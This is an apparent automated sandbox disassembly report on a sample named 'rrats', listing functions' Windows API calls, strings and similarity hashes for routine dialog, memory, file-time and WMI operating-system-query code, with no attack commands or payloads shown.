Part of subcall function 00CB1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00CE1030,?,00CAD928,00000000,?,00000050,00CE1030), ref: 00CB1DC4

_strlen.LIBCMT ref: 00CAE32F
SetDlgItemTextW.USER32(?,00CDE274,?), ref: 00CAE38F
GetWindowRect.USER32(?,?), ref: 00CAE3C9
GetClientRect.USER32(?,?), ref: 00CAE3D5
GetWindowLongW.USER32(?,000000F0), ref: 00CAE475
GetWindowRect.USER32(?,?), ref: 00CAE4A2
SetWindowTextW.USER32(?,?), ref: 00CAE4DB
GetSystemMetrics.USER32(00000008), ref: 00CAE4E3
GetWindow.USER32(?,00000005), ref: 00CAE4EE
GetWindowRect.USER32(00000000,?), ref: 00CAE51B
GetWindow.USER32(00000000,00000002), ref: 00CAE58D

Strings

d, xrefs: 00CAE3F5
$%s:, xrefs: 00CAE302
CAPTION, xrefs: 00CAE4BD

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: c168814d20279b3dcdb63a0c1ae460502c9be8c043619de72249c79ebd45a487
Instruction ID: b89b47cfe023fbc73f0a41d79cc8010ec880ec05f004e5763ad9487374541c28
Opcode Fuzzy Hash: c168814d20279b3dcdb63a0c1ae460502c9be8c043619de72249c79ebd45a487
Instruction Fuzzy Hash: 6481B171608301AFD710DFA8CC89B6FBBEDEB89708F04091DFA99D7250D630E9058B62

Function 00CCCB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00CCCB66

Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC71E
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC730
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC742
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC754
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC766
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC778
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC78A
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC79C
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC7AE
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC7C0
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC7D2
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC7E4
Part of subcall function 00CCC701: _free.LIBCMT ref: 00CCC7F6

_free.LIBCMT ref: 00CCCB5B

Part of subcall function 00CC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?), ref: 00CC8DE2
Part of subcall function 00CC8DCC: GetLastError.KERNEL32(?,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?,?), ref: 00CC8DF4

_free.LIBCMT ref: 00CCCB7D
_free.LIBCMT ref: 00CCCB92
_free.LIBCMT ref: 00CCCB9D
_free.LIBCMT ref: 00CCCBBF
_free.LIBCMT ref: 00CCCBD2
_free.LIBCMT ref: 00CCCBE0
_free.LIBCMT ref: 00CCCBEB
_free.LIBCMT ref: 00CCCC23
_free.LIBCMT ref: 00CCCC2A
_free.LIBCMT ref: 00CCCC47
_free.LIBCMT ref: 00CCCC5F

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: beaba5b339a57080864fca00f973c601def26575867b387696890440471f797e
Instruction ID: 48e647183da0de5e250c5088b080d114106660cd6457ff1e8b131a0b4b604379
Opcode Fuzzy Hash: beaba5b339a57080864fca00f973c601def26575867b387696890440471f797e
Instruction Fuzzy Hash: BE314B31A002069FEB20AA78E886F5BB7E9EF10310F15442DE16ED7192DF35EE84DB10

Function 00CB9711 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CB9736
_wcslen.LIBCMT ref: 00CB97D6
GlobalAlloc.KERNEL32(00000040,?), ref: 00CB97E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00CB9806
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00CB982D

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00CB9760
</html>, xrefs: 00CB97B7
utf-8"></head>, xrefs: 00CB976B
<html>, xrefs: 00CB9755, 00CB978E

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: 581a18427628f643021847f0e58150160a26f18ef927691a3d20df1ba1b59704
Instruction ID: a28f578e5675c39ceb7d5488974b5645ba3ff03902a1f3438fa2dcc44a03846c
Opcode Fuzzy Hash: 581a18427628f643021847f0e58150160a26f18ef927691a3d20df1ba1b59704
Instruction Fuzzy Hash: DB3116325083517BE725AB34EC46FAF77A8EF42710F14011EF611A61D2EB75DA0983A6

Function 00CBD69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00CBD6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 00CBD6ED

Part of subcall function 00CB1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00CAC116,00000000,.exe,?,?,00000800,?,?,?,00CB8E3C), ref: 00CB1FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 00CBD709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00CBD720
GetObjectW.GDI32(00000000,00000018,?), ref: 00CBD734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00CBD75D
DeleteObject.GDI32(00000000), ref: 00CBD764
GetWindow.USER32(00000000,00000002), ref: 00CBD76D

Strings

STATIC, xrefs: 00CBD6F3

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 2e496fc1e30a7fb3e43f515eed9a260cc8f5f15671c944df68c75dfa57177e77
Instruction ID: 606b8b88733225238a6820774c6864955b409cfde792a0abe606fb0f06b862c2
Opcode Fuzzy Hash: 2e496fc1e30a7fb3e43f515eed9a260cc8f5f15671c944df68c75dfa57177e77
Instruction Fuzzy Hash: 8C1133721017107BE220ABB19C4AFEF7A5CAF04741F004121FA66F2295EA65CF4596B6

Function 00CC96F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CC9705

Part of subcall function 00CC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?), ref: 00CC8DE2
Part of subcall function 00CC8DCC: GetLastError.KERNEL32(?,?,00CCC896,?,00000000,?,00000000,?,00CCC8BD,?,00000007,?,?,00CCCCBA,?,?), ref: 00CC8DF4

_free.LIBCMT ref: 00CC9711
_free.LIBCMT ref: 00CC971C
_free.LIBCMT ref: 00CC9727
_free.LIBCMT ref: 00CC9732
_free.LIBCMT ref: 00CC973D
_free.LIBCMT ref: 00CC9748
_free.LIBCMT ref: 00CC9753
_free.LIBCMT ref: 00CC975E
_free.LIBCMT ref: 00CC976C

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7802ade1b8a58d3a804f47cd11dd8dc2f426162915d319f4875dd491838f2a73
Instruction ID: b537e8ecdc8c0aeea7b4c7c3ad2c72125d209ac10bc9047156b95683e9549fa1
Opcode Fuzzy Hash: 7802ade1b8a58d3a804f47cd11dd8dc2f426162915d319f4875dd491838f2a73
Instruction Fuzzy Hash: 1311E97550000ABFCB01EF58D842EDE3B75EF14350B0255A9FA094F262DE31DE54AB84

Function 00CC2E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00CC2F50
___TypeMatch.LIBVCRUNTIME ref: 00CC305E
_UnwindNestedFrames.LIBCMT ref: 00CC31B0
CallUnexpected.LIBVCRUNTIME ref: 00CC31CB
_abort.LIBCMT ref: 00CC31D0

Strings

csm, xrefs: 00CC2E6E
csm, xrefs: 00CC2F87
csm, xrefs: 00CC2EDB

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: b269b07b0b9f83ff0f23c6774274d2bb477364fc56ba8fdaf906b8dede01b7b8
Instruction ID: f3fc51cf77106af9f54d67e1f8d4b6f5e7511b38bd408f6cedea0374400605cc
Opcode Fuzzy Hash: b269b07b0b9f83ff0f23c6774274d2bb477364fc56ba8fdaf906b8dede01b7b8
Instruction Fuzzy Hash: 02B14771900259EFCF25DFA4D881EAEBBB5BF04310B18815EE8216B212D735DB52DB91

Function 00CA6FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA6FAA
_wcslen.LIBCMT ref: 00CA7013
_wcslen.LIBCMT ref: 00CA7084

Part of subcall function 00CA7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00CA7AAB
Part of subcall function 00CA7A9C: GetLastError.KERNEL32 ref: 00CA7AF1
Part of subcall function 00CA7A9C: CloseHandle.KERNEL32(?), ref: 00CA7B00

Strings

UNC\, xrefs: 00CA7051
\??\, xrefs: 00CA702B
SeRestorePrivilege, xrefs: 00CA6FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00CA6FCC

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: 7242cf99ceca9c2b593a9d1c25cae2fd6c5eb94ac79dac341b31d98a22327173
Instruction ID: 54c78cfd6adf09313937312dc59917ec6db82e466a07aa1b5c896e45091636a5
Opcode Fuzzy Hash: 7242cf99ceca9c2b593a9d1c25cae2fd6c5eb94ac79dac341b31d98a22327173
Instruction Fuzzy Hash: F1411BB1D08386BAEF20E7709D86FEE77ACAF06308F040555FA55A6182D774AB44D721

Function 00CBB5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA1316: GetDlgItem.USER32(00000000,00003021), ref: 00CA135A
Part of subcall function 00CA1316: SetWindowTextW.USER32(00000000,00CD35F4), ref: 00CA1370

EndDialog.USER32(?,00000001), ref: 00CBB610
SendMessageW.USER32(?,00000080,00000001,?), ref: 00CBB637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00CBB650
SetWindowTextW.USER32(?,?), ref: 00CBB661
GetDlgItem.USER32(?,00000065), ref: 00CBB66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00CBB67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00CBB694

Strings

LICENSEDLG, xrefs: 00CBB5D4

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 1d5c147ee4dfd855f8a6ddb5a61bee9c493a7e989d320b4be79c8ec9e8adc706
Instruction ID: 9f42a3025d8853399240b4c507746578bc9c7fe36b2c9f82718b8789d78dd005
Opcode Fuzzy Hash: 1d5c147ee4dfd855f8a6ddb5a61bee9c493a7e989d320b4be79c8ec9e8adc706
Instruction Fuzzy Hash: C721C732204319BBD6255F66ED4AFBF3B7DEB4AB41F010018F609D65E0CBA29E01D636

Function 00CBFD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,86DBCCB0,00000001,00000000,00000000,?,?,00CAAF6C,ROOT\CIMV2), ref: 00CBFD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,00CAAF6C,ROOT\CIMV2), ref: 00CBFE14
SysAllocString.OLEAUT32(00000000), ref: 00CBFE1F
_com_issue_error.COMSUPP ref: 00CBFE48
_com_issue_error.COMSUPP ref: 00CBFE52
GetLastError.KERNEL32(80070057,86DBCCB0,00000001,00000000,00000000,?,?,00CAAF6C,ROOT\CIMV2), ref: 00CBFE57
_com_issue_error.COMSUPP ref: 00CBFE6A
GetLastError.KERNEL32(00000000,?,?,00CAAF6C,ROOT\CIMV2), ref: 00CBFE80
_com_issue_error.COMSUPP ref: 00CBFE93

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 1293d1e5e11e82fa61b589dee1a789d6c5c5ef5c41c5c591f846aca4866e1028
Instruction ID: 248ffa0f0dc1f2b8868cd22553d3eea75672cdadac8801c323067c937d2605c6
Opcode Fuzzy Hash: 1293d1e5e11e82fa61b589dee1a789d6c5c5ef5c41c5c591f846aca4866e1028
Instruction Fuzzy Hash: 804108B1A00259ABDB109F68DC45BEEBBA8EB48710F10823EF915E7351D735DA01C7A5

Function 00CAAF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CAAF29

Strings

Name, xrefs: 00CAB0B0
ROOT\CIMV2, xrefs: 00CAAF5C
SELECT * FROM Win32_OperatingSystem, xrefs: 00CAAFCA
WQL, xrefs: 00CAAFDC
Windows 10, xrefs: 00CAB0C2

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 420c7de5e381ab3e9116158ed241fb9b0154bc9dfca74a5e13bd8838b124cf97
Instruction ID: df8f749fbd8e0102be24f105cd5b739c2f64c2696e1fce1b5be3d2ebaa5d8d32
Opcode Fuzzy Hash: 420c7de5e381ab3e9116158ed241fb9b0154bc9dfca74a5e13bd8838b124cf97
Instruction Fuzzy Hash: A47170B0A0021AAFDF14DFA4CC95AAFB7B9FF49314B14015EE512A72A1CB306E41DB61

Function 00CA9382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA9387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00CA93AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00CA93C9

Part of subcall function 00CAC29A: _wcslen.LIBCMT ref: 00CAC2A2

Part of subcall function 00CB1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00CAC116,00000000,.exe,?,?,00000800,?,?,?,00CB8E3C), ref: 00CB1FD1

_swprintf.LIBCMT ref: 00CA9465

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

MoveFileW.KERNEL32(?,?), ref: 00CA94D4
MoveFileW.KERNEL32(?,?), ref: 00CA9514

Strings

rtmp%d, xrefs: 00CA944E

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: 37616650fdb388537e720dc665ea6ed7e90988f25cda8bae5bd1bef8b1ba3980
Instruction ID: d8593ec027ba409c95f1c52e12ec5d9180e2ba150b24593d0823f86fa1f9e90f
Opcode Fuzzy Hash: 37616650fdb388537e720dc665ea6ed7e90988f25cda8bae5bd1bef8b1ba3980
Instruction Fuzzy Hash: 614198B1D0025A66CF21EBA0CC46EDF737CEF46344F0049A5B619E3051EB389B89EB60

Function 00CB1218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00CB122E

Part of subcall function 00CAB146: GetVersionExW.KERNEL32(?), ref: 00CAB16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00CB1251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00CB1263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00CB1274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CB1284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CB1294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00CB12CF
__aullrem.LIBCMT ref: 00CB1379

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 33de36c04a18531532a80de507fc1e3fee979134e951d5b0325b930577b594da
Instruction ID: 48e5770b271d2b31f2a99f3c35ef2168832c1081158ba443130f047f96677e48
Opcode Fuzzy Hash: 33de36c04a18531532a80de507fc1e3fee979134e951d5b0325b930577b594da
Instruction Fuzzy Hash: E241FBB15083459FC710DF65C884AAFBBE9FB88314F44892EF996C2250E738E649DB52

Function 00CA2210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CA2536

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

Part of subcall function 00CB05DA: _wcslen.LIBCMT ref: 00CB05E0

Strings

x%u, xrefs: 00CA26FD
xc%u, xrefs: 00CA275A
;%u, xrefs: 00CA2523

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: 8bb44c30e518fa1df7c7683f1d96eb2dc2ccaedfede91be80b448c9fb5ca1c24
Instruction ID: a82f7c690878b7ea72cc495ec56ad8b9812c442f3f8ba043d28e4e7bba2a7351
Opcode Fuzzy Hash: 8bb44c30e518fa1df7c7683f1d96eb2dc2ccaedfede91be80b448c9fb5ca1c24
Instruction Fuzzy Hash: 00F168716043529BCB24DF2C84D5BFE77996F9230CF08456DFC869B283CB648A49D7A2

Function 00CB9CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CB9D0A

Strings

<br>, xrefs: 00CB9DFE
</p>, xrefs: 00CB9DE8
>, xrefs: 00CB9D4B
